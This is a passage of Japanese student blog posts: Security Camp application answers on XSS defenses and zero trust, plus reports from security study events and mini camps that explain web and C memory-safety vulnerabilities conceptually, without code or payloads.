脆弱サイトのWebサーバにスクリプトを仕込んでおき、アクセスの際にスクリプトを注入するものです。わざわざユーザを誘導する必要はありません。

- Domベース
Domと呼ばれる、クライアント上で実行されWebページを動的生成するブラウザ上のデータをサーバを介さず直接取得できるAPIを悪用するものです。クライアント上でHTMLが生成され、サーバには送信されません。そのため、ブラウザのXSS保護機能(X-XSS-Protection等)が回避され易かったり、サーバに攻撃ログが残らない傾向にあるため、把握が困難だといえます。

XSSの主な目的としては以下があります。

- Cookieの窃取によってセッションを盗み、正規のユーザになりすます。
- Webサイトに偽フォームなどを追加し、フィッシング詐欺をし、ユーザ情報を窃取する
- 悪意ある任意のJavaScriptを実行し、マルウェア感染などをさせる。

XSSの対策としては以下が思いつきました。 大きな括りとして、クライアント側とサーバ側に分けます。

クライアント側

- ブラウザのSame-Origin-Policyを適切に有効にしておく
これは、先述にもあるように、クロスオリジンからのスクリプトでアクセスされるのを禁じるものです。

- セキュリティパッチなどの正しい適用
古いブラウザ(IEの古いバージョンなど)特有の脆弱性などを狙った攻撃に有効です。

- XSSフィルタの有効化
モダンなブラウザに実装されている機能で、反射型XSSを含むレスポンスが検知されるとそれを無害化するというものです。

サーバ側

- 属性値を"などの引用符で囲む
引用符で囲わない場合は空白によって区切られるため、区切り後にイベントハンドラなどの属性値を追加されてしまいます。また、囲っている場合でも、'や"などをエスケープしていない場合は入力された'や"が属性値の区切り(終端)と解釈されてしまうため、それもエスケープすべきです。

- 外部からの入力に応じてHTMLやJSなどを動的に生成している箇所で生成時に特殊文字等のエスケープ処理をする
<>や&をエスケープすることで、スクリプトとして解釈される特殊文字を単なる文字列として扱うことができます。ただし、スクリプトタグをピンポイントでエスケープすることだけでは不十分です。DomベースXSSではimgタグのonerrorイベントハンドラスクリプトを記述する方法など、攻撃には常にJavaScriptを使うとは限らないからです。

- 入力値のバリデーションチェック
入力値の想定が、数値などで限定されているのであれば、妥当性をチェックし、それ以外ははじくことで、不正な入力をエスケープできます。

- URL発行時のJavaScriptスキーム排除(httpとhttpsのみにする)

- イベントハンドラとして関数を呼び出す際の特殊文字エスケープ

- CookieにHttpOnly属性を付与する
HttpOnly属性は、JavaScriptからのCookie読み出しを防ぐ属性です。CookieのセッションID窃取攻撃に有効だといえます。

- Access-Control-Allow-Originレスポンスヘッダでコンテンツアクセスを指定する
Access-Control-Allow-OriginはXMLHttpRequestなどによるCORSで制御されたクロスオリジンからのアクセスにおいて、サーバ側が提供するヘッダです。これにより許可されたサイトはCORSの制御下でクロスオリジンからアクセスできます。しかし、提供元に脆弱性があったり、提供元に悪意がある場合があるため、サイト運営者の適切な許可が必要です。また、CORSが実装されたのはXMLHttpRequest level2からであることから、もともとlevel1を実装したサーバはそのままクロスオリジンなアクセスを許してしまう恐れがあるので留意すべきです。

- X-XSS-Protectionレスポンスヘッダの利用
X-XSS-Protectionはモダンなブラウザに実装されているXSSフィルタの設定を上書きすることができるヘッダです。X-XSS-Protection:1;mode=blockとすることで、XSSフィルタの有効化をサーバ側で設定することができます。

- エラーメッセージの不必要な表示をしない
攻撃者に攻撃時の手掛かりとなるような情報与えないことが大切です。また、メッセージの中に個人情報などが含まれないべきです。

かなり抽象的ですね…。これは反省です。もっと具体的な例を挙げるべきでした。XSSの対策という広い問いに対し網羅的に書くのはとても難しかったです。

問7

「セキュリティ」は幅広い分野から成り立っていますが、その中で自分がもっとも興味があるテーマについて、『好きなだけ』書いてください。

テーマ:ゼロトラスト
恥ずかしながらこの概念を知ったのは、この応募に際し、IPAのページを確認していたときでした。そこから調べたことをもとに書いていこうと思います。 ゼロトラストは、これまでの、内部(ネットワーク)は安全である、という前提に立たず、信頼しないことを前提にログやトラフィックの監視を行う、性悪説に基づくアプローチです。僕としてはそもそもセキュリティとは性悪説に基づくものだという認識が少なからずあったので、この考えは特段驚くべきものではありませんでした。この概念が提唱されたのも2010年のForrester Researchによるものだということです。10年越しで本流になってきた考えだということです。海外ではBeyondCorp(Google社)が先導しているようです。また、セキュリティの強化という面でなく、ユーザビリティの向上という面も担っています。分散型のネットワークが基本になりつつある現代は、認証と認可を求めるゼロトラストに合わせた仕組みの導入で、物理的にどこから、どんなデバイスでアクセスしようが、最小権限でアクセスさせるし、検証するということが可能になります。実際にID認識型プロキシを用いて、ユーザやアプリケーションの所在地に関わらず、認証と認可の仕組みを整えたケースもあるそう。あくまでプロキシにアクセスさせているだけですから、変化の目まぐるしいマルウェア感染によるラテラルムーブメント対策としても有効です。また、ゼロトラストは動的なポリシが大切です。ここでキーになるのが機械学習Microsoft AzureやGoogleのCloud Armor AIはゼロトラストに必要な動的ポリシ作成のプラットフォームを実現しています。動的に変化していくことで運用にコストがかからず、異常検知時は自動で対応できます。これらの点では実装にあたっては機械学習研究が発達した現代に即した概念だといえると思います。実装の点で新たな概念であるゼロトラストですが、ビジネスのスピードも維持できそうな印象を受けました。また、専門講義B7への意欲も膨らみました。

恥ずかしながらこのテーマについては課題を見るまで知らなかったので、調べながら書きました。付け焼刃感がすごい。

まとめ

全体でだいたい20000文字ほど書きました。なんとも読みにくい文章と抽象的な中身によって、見事黒歴史入りしたわけですが、通過できたことについては本当にうれしいです。精進していきます。また、Web等で過去の応募課題を晒していただいた皆さま、参考にいたしました。ありがとうございます。

Developers.IO 2019 Securityに参加した

Developers.IO 2019 Securityとは

クラスメソッドさんが主催する勉強会です。今回はSecurityというテーマで、AWSのセキュリティを中心に開催していただきました。僕は諸事情で途中からの参加でした。

dev.classmethod.jp

セッション

脆弱性とセキュリティの話~ホワイトハッカーが少し喋ります~

株式会社イエラエセキュリティ

株式会社イエラエセキュリティについて

  • 脆弱性診断しかやってない!ずっとやってたい!みたいな集団。
  • FUDやめましょうみたいな考えがある。
  • CTFの実績もある。
  • AndroidiOS(これは強い)、Windowsアプリ重視。バイナリ解析得意。

脆弱性診断について

日本は諸外国と比べ、セキュリティレベルが低いとされている。また、IoTの発達と迎えるオリンピックが攻撃対象になりうる。以下は例に挙げていただいた脆弱性

  • Webで出る脆弱性
    • SQLインジェクション

      • 現在でも観測される
      • エスケープ処理やバインド
    • XSS

      • 受動的攻撃
      • 対策は文字列のエスケープ
    • アクセス制御

      • 自動ではなかなか検出できないため、手動で診断をする意義はここにある
      • 対策はセッションIDなど
    • CSRF

      • 最近はあんまりない
      • コミット通信を確認画面無しでいける場合に起こる
      • 対策はトークンの保持など

クラスメソッドさんのレポートはこちら dev.classmethod.jp

セッション管理不備・アクセス制御不備を見つけてこそセキュリティ診断erだ!というお話しは非常にぐっと来たところです。優秀なツールがある中で、最終的には人間が手動でやるという意義を再認識。淘汰されないようにがんばります。

DevSecOps と Cloud Security ~ 継続的な脆弱性診断とセキュリティ運用・監視のベストプラクティス

F-Secure

F-Secureについて

antivirusを主とする事業をしている会社。ミッコ・ヒッポネン氏がいる(CODEBLUEの基調講演聴講しました)。

Radarについて

  • 脆弱性診断ツール。
  • 社内に転がる野良IPをスキャンして管理できる。
  • API連携していてAWS環境を自動スキャン可能。
  • Webアプリもスキャンできる。
  • 開発中のプロセスに脆弱性診断を組み込める。

クラスメソッドさんのレポートはこちら dev.classmethod.jp

開発者の方はセキュリティ要件に対するリソースや工数割きに苦しんでいるイメージがあるので(勝手なイメージ)、開発のプロセス内に組み込むセキュリティ診断を自動化できるツールってとてもいいと思いました。

AWS、可視化出来ていますか?〜Sumo Logicを活用したAWSのセキュリティリスク可視化〜

Sumo=相撲=ビッグだけど素早い=ビッグデータ使える!という意味らしいです。ちなみに日本支社は12時からビールが飲めるそう笑

Sumo Logic

  • AWSのログを分析・可視化できるツール
  • 100%クラウドのマシンデータ解析
  • マルチテナント
  • SaaS

クラスメソッドさんの過去記事で詳細に書かれています。 dev.classmethod.jp

AWSのログを目で追って手で解析してというのは大変です。ましてや開発中ならなおのことです。単に楽だからという面だけでなく、開発スピードと質が両方上がるのは強味だと思います。

クラウドネイティブ時代に必要なコンテナセキュリティの考え方と対応策

クリエーションライン株式会社、クラスメソッド株式会社 昨今ではコンテナ技術を利用したアプリケーション提供することがあるが、セキュリティはどうするんだ??という講演でした。そしてクリエーションライン株式会社のAqua Container Securityについての説明がありました。

それについてはクラスメソッドさんのレポートが詳しいです。スライドも含まれています。 dev.classmethod.jp

コンテナは本格的に運用したことはありませんでしたが、Aquaについては、なんでもできるじゃねえか!という印象でした。さらに、稼働中のコンテナにも設定が即反映されるなど、会場内が沸くような仕様がたくさんでした。

まとめ

開発者目線では、機能要件を満たしてさっさとリリースしたいはずですが、セキュリティをおろそかにできない…という苦悩。それらを開発スピードを保ったままサポートするというのが全体の共通事項でした。まだまだサイバーセキュリティ人材やリテラシが少ないまま、IoTの発達や大規模イベントが開催されうる現状、なにか起きたら対応では遅いということを改めて思うのでした。

エフスタ!!TOKYO「エフスタ流ワークライフバランス」に参加した #efsta67

先日、福島をITで盛り上げるITスキルアップコミュニティ「エフスタ!!」に参加しました。東京開催のエフスタ!!は初参加です。 東京が本開催地で福島と北海道でサテライト開催でした。今回は主に講師のお二方のお話を書きました。 efsta.connpass.com

f:id:kent_recuca:20190317235026j:plain
会場:ヤフーさん

セッション

澤さんと及川さんにワークライフバランスについて講演いただきました。及川さんは、急遽セッションをしていただけることになったそうです。ありがとうございます。

自分のコンテンツ化

  • データとして独り立ちできる
  • 遠隔でコンテンツを与えられる

先行者思考

  • 結局は自分がやらなきゃはじまらない
    • 会社や社会が変わるのなど待ってはいられない
  • ~してから思考をやめてとりあえずやれ!
  • 失敗して学ぼう!

シリコンバレーマインドセット

  • お金もちになりたい!って人は割と敬遠される
  • 世の中をよくしてやろうという気概の持ち主が好かれている(結果的にお金持ちにはなる笑)

宇宙や深海

  • 自分がどこまで冒険したいか考える
  • 自分自身のことを深く掘り下げる
  • 自分のミッションの設定
    • 確定していれば人生の軸がぶれない

情報発信してる?

  • 小さな発信からでも始めよう
    • アンテナを張る
      • 受信だけでなく発信もすることで、フィードバックや意見などから様々な知見が得られる

ハーバードの思考

  • knowing doing being
  • プランを作ってる暇があったら行動

発言しない会議にはでない

  • 一方的に聞くだけなどの会議は、もはや講演
  • 自分がいることに価値があるならいこう

言語脳をきたえる

  • 言語化して伝えることで、理解につながる

笑顔とお礼

  • 日本人はこれが下手
  • もっと人間的なUIを良くすれば、チャンスも増える

様々な数字を用意

  • 具体的な数字を用意することで、説明ができる

やりたいことは我慢しない

  • 我慢は犠牲であって搾取
  • いやなことからは逃げちゃおう

ワークライフバランスという言葉の違和感

  • ワークとライフは対立しない
  • バランスというよりハーモニー
  • その期間は1週間なのかプロジェクトごとなのかなどで変わる

会社が欲しいのはアウトプット(業績)

  • 給与があがれば全部解決!w

マネジメントのプロがなかなかいない

  • 名誉職化している
  • 評価ができないから就業時間が武器になってしまう
  • 生産性の定義化
    • 数値でやる。感覚ではむり
  • コストを考えてみる
    • アウトプットする際に、最もコストが低いか、効率化しているか考えよう
  • 個人にいくら払われているか考えよう

現在のサービスの買いたたきは異常

  • 我々はサービスに適切にコストを払っているか
  • 適切なカスタマーセグメントを考えねば
    • ある一部の要求を満たすために全員が等分に不幸になっている

まとめ

やるのは自分、踏み出すのも自分、ということを再認識しました。言い訳は無用。

パネルトークでは、後輩が、抽象的ながらマクロな見方をしたビジョンを持っていることを話していて、自分も、目の前の問題解決に凝り固まりすぎないように…と思いました。

おやつタイムの桜餅、地元のままどおる、おいしかったです:)

皆様ありがとうございました!

セキュリティ・ミニキャンプ in 岡山に参加した

セキュリティ・キャンプとは

サイバーセキュリティについての高度な技術が学べる勉強会。全国大会と地方大会があり、後者はミニキャンプと呼ばれます。

セキュリティ・ミニキャンプ

今回は2018年11月に岡山で行われたミニキャンプについての参加記録です。1日目は一般講座、2日目に専門講座でした。

経路

往復をレンタカーで行きました。 所要時間は片道12時間…! 先輩2人と行ったので1人当たり4時間です笑

行き:福島→日本海側の各県→岡山

帰り:岡山→大阪→太平洋側の各県→福島

一般講座

ここ数年のサイバー攻撃の動向変化の図解と得られた教訓

講師:名和利男氏

概要:

多層防御

  • 攻撃者は経済的利得につながる対象を攻撃対象としている
    • 攻撃対象までの経路を多層防御する必要がある

インシデント対処時の意識

  • 攻撃者の意図を表面的な事象のみで判断せず、潜在的な事象まで掌握すべき
  • 情報が窃取されたインシデントのあと、攻撃精度を上げた攻撃がくる恐れが高まる
    • 情報とられただけで実被害ありませんよなんて言ってられない

サプライチェーンのリスク

  • 攻撃の入口は周辺機器や接続するシステムに拡大している
    • タイポスクワッティング
    • サードパーティ製のソフト
      • 正規ストアでない場所からのインストールなどは危険

インシデントに対する組織のこれから

  • 的確な状況把握をする
  • セキュリティ担当者に丸投げは避ける
  • 本当に事態対処できるかを重要視し、前もって身構える
  • 経営層が脅威によるリスクに責任を持つ
    • 状況認識脳力を獲得し、発揮する

サイバー攻撃対応の基本~これだけはやって欲しいこと~

講師:川口洋氏

WannaCryが変えた認識

  • サイバーセキュリティは情報漏洩だけでなく、事業継続の問題になった
    • 建前やアピールのための対策なのか、本気の対策なのかきちんと考えるべき

VirusTotal

  • マルウェア感染などが疑われるファイルやURLを分析してくれるサイト
  • 怪しい文書ファイルや、怪しいメールの添付URLなどを簡易的にスキャンするのに使える
  • ただ、正規ファイルなどを含めかたっぱしからアップロードすると、意図しない情報漏洩にもつながるので注意

ドメイン取得と管理

  • 独自ドメインを取得したら、最後まで面倒をみる
  • 既存ドメインに相乗りするのを推奨
  • 使い終わったからと、放っておくと後々目も当てられないサイトに…

インシデント発生のとき

  • どこに責任があるか(全部ベンダの責任と言える??)
  • 発生前に、脆弱性情報等を上長にしっかりとエスカレーションする
    • 聞いてなかった、見逃した、なんて言い訳をされないようにCcでなくToでメールする

サイバーセキュリティのこれから

  • サプライチェーンのセキュリティ
    • 社員のリテラシ向上
      • 経営者から
      • 訓練や演習、緊急連絡先の設定など
    • 周辺システムのチェック
      • IoT機器などを含む
      • アドオンの確認
    • 事業継続を念頭に置いた対策

サイバー犯罪体験型コンテンツによるセミナー

講師:岡山県警

攻撃者役と被害者役に分かれて、実際に代表的な攻撃に遭ったらどういうことになるのか実演していただきました。 模擬的に最中の双PCの画面などが映され、わかりやすく体験できました。

専門講座

岡山大は広く、たどり着くのに少し大変でした f:id:kent_recuca:20181220001046j:plain

サイバー攻撃対応実践

講師:川口洋氏

1個の改竄されていない正規のWebページと、20個の改竄されているかどうかわからないWebページが与えられ、各ページは改竄されているのか調査するという演習でした。

目で見てわかるようなものから、ソースを読まないといけないもの、はたまた会場で正解が出なかったものまでありました。

正解者がいなかったもの:

  • user-agentによる表示の違い
    • .htaccessファイルが書き換えられていて、chromeで見るとなんともないのに、FirefoxIEで見ると、表示が違うページが存在した

僕はソースコードを読むなどして探していましたが、ソースファイルを取得してdiffで調べる方もいました。しかし、.htaccessはわからなかった…

Webセキュリティ入門-攻撃者の狙いを先読みする

講師:米内貴志氏

概要:

  • 多層防御の考え方
  • Webの境界
  • XSSの概要と演習

Webの境界

  • Origin
    • スキーム、ホスト、ポートの3つをOriginとして定義
  • Same-Origin Policy(SOP)
    • リソースのアクセス範囲を制限
    • Originの外からは原則アクセスできない
  • CORS(Cross-Origin Resource Sharing)
    • SOPが有効になっていても、Cross-Originからアクセスしたいときにリソースのアクセス許可をする仕組み

XSS

  • Originの観点から見たXSS
    • SOPがあるので、原則はCross-Originでリソースにアクセスできない
    • そう考えるとXSSはOriginの内部に侵入する行為ととらえることができる
      • 攻撃対象のOrigin内部なら、自由に動ける

上記のことについて詳しく講義があった後、実際に各項目について演習しました。 具体的には、

  • SOPが有効の時と無効の時の挙動の違い
  • cookieを奪取しに保存されたセッションIDを抜き取ったあと、それを使って相手のセッションを奪う

などを体験しました。

まとめ

一般講座、専門講座ともに充実していて、なにより楽しかったです! 専門講座は、自分が知識として知っていたものが形になって体験できてさらに理解が深まりました。

おまけ

石川県の尼御前SAでは尼御前SA自身が売られていた形跡がありました(大嘘)。 f:id:kent_recuca:20181220000835j:plain

セキュリティ・ミニキャンプ in 秋田に参加した

セキュリティ・キャンプとは

サイバーセキュリティについての高度な技術が学べる勉強会。全国大会と地方大会があり、後者はミニキャンプと呼ばれます。

セキュリティ・ミニキャンプ

今回は2018年12月に秋田で行われたミニキャンプについての参加記録です。


経路

福島→仙台→秋田

同じ東北ですが、意外と行きづらい…

電車とバスを乗り継ぎ、前乗りして、ネカフェ勢となりました。

f:id:kent_recuca:20181219005738j:plain
激寒の秋田駅

専門講座

今回の秋田回では、2つの専門講座が開催されました。レイヤは低めです。 f:id:kent_recuca:20181219020558j:plain

バイナリエクスプロイト

講師:天津健氏

概要

Cにおける脆弱性:型キャスト

型名 サイズ(64)
char 1byte
short 2byte
int 4byte
long 8byte
  • 型キャストに不備があると、情報が落ちたり、誤った値の処理がなされたりする
    • 例えばint→shortなら、上位2バイトの情報が落ちる
  • これを利用し、複数の条件式を1つの入力値で通すことができる

Cにおける脆弱性:配列

  • Cでは、配列へのアクセス時に添字の正当性をチェックしない
  • C的にはarray[i]は*(array+i)と等価
    • 配列の定義外でも関係なくアクセスできる
    • 例えばarray[10]の配列に対し、array[15]とか、array[100]もできる
  • これを利用し、意図しない場所へアクセスし、秘匿すべきデータなどを抜き出せる

Cにおける脆弱性:gets

  • 現在は推奨されておらず、使うとコンパイラに怒られが発生する
  • 境界のチェックをしないので、確保されたサイズをオーバーする値の入力によって他の変数やアドレスの浸食が可能
    • ローカル変数はスタックに、グローバル変数はグローバル領域に纏めて置かれるので、隣接したアドレスの変数まで書き換えられる
    • スタックに積まれたリターンアドレスも同様に書き換えられる
      • 任意のコードを実行できるようになる

産業制御システム攻防演習

講師:目黒有輝氏 講義内容はオフレコで、とのことですので、明示は避けます。

概要

  • 制御システムの基礎
  • 制御システムのパケットキャプチャ
  • 制御システムの脆弱性と攻撃
  • 制御システムのセキュリティ

まとめ

2つの講義とも難しい内容でしたが、自分が普段なかなか触れない分野を学べてとても楽しかったです! 演習環境も充実していて学んだことをすぐに体験できるので理解がより深まりました。

どんな開発をするにせよコンピュータを使っているわけですから、根幹を知ることでより高度な実装が実現できると思いました。

関係者の皆様、ありがとうございました!

おまけ

帰りに見た、秋田大生の学費が点灯する様子 f:id:kent_recuca:20181219021305j:plain

夜中は観測できない秋田イッヌ f:id:kent_recuca:20181219021242j:plain